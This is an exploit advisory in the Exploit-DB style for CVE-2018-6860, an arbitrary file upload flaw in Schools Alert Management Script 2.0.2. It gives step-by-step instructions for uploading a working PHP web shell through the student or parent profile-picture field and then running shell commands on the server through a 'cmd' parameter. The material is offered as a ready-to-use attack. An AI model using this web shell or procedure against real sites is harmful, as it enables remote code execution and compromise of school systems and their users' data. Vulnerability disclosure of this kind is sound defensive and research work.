Schools Alert Management Script - 2.0.2 - Arbitrary File Upload

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# Exploit Title: Schools Alert Management Script - 2.0.2 - Arbitrary File Upload / Remote Code Execution

# Date: 07.02.2018

# Vendor Homepage: https://www.phpscriptsmall.com/

# Software Link: https://www.phpscriptsmall.com/product/schools-alert-management-system/

# Category: Web Application

# Exploit Author: Prasenjit Kanti Paul

# Web: http://hack2rule.wordpress.com/

# Version: 2.0.2

# Tested on: Linux Mint

# CVE: CVE-2018-6860

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Proof of Concept

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1. Login as Student/Parent

2. Go to "Edit Profile" to upload profile picture.

3. Once you find upload section, upload following code as a PHP file:

    <?php

        if(isset($_REQUEST['cmd'])){ echo "<pre>"; $cmd = ($_REQUEST['cmd']); system($cmd); echo "</pre>"; die; }

    ?>

4. Try to access given PHP file : [site.com]/malicious.php?cmd=ls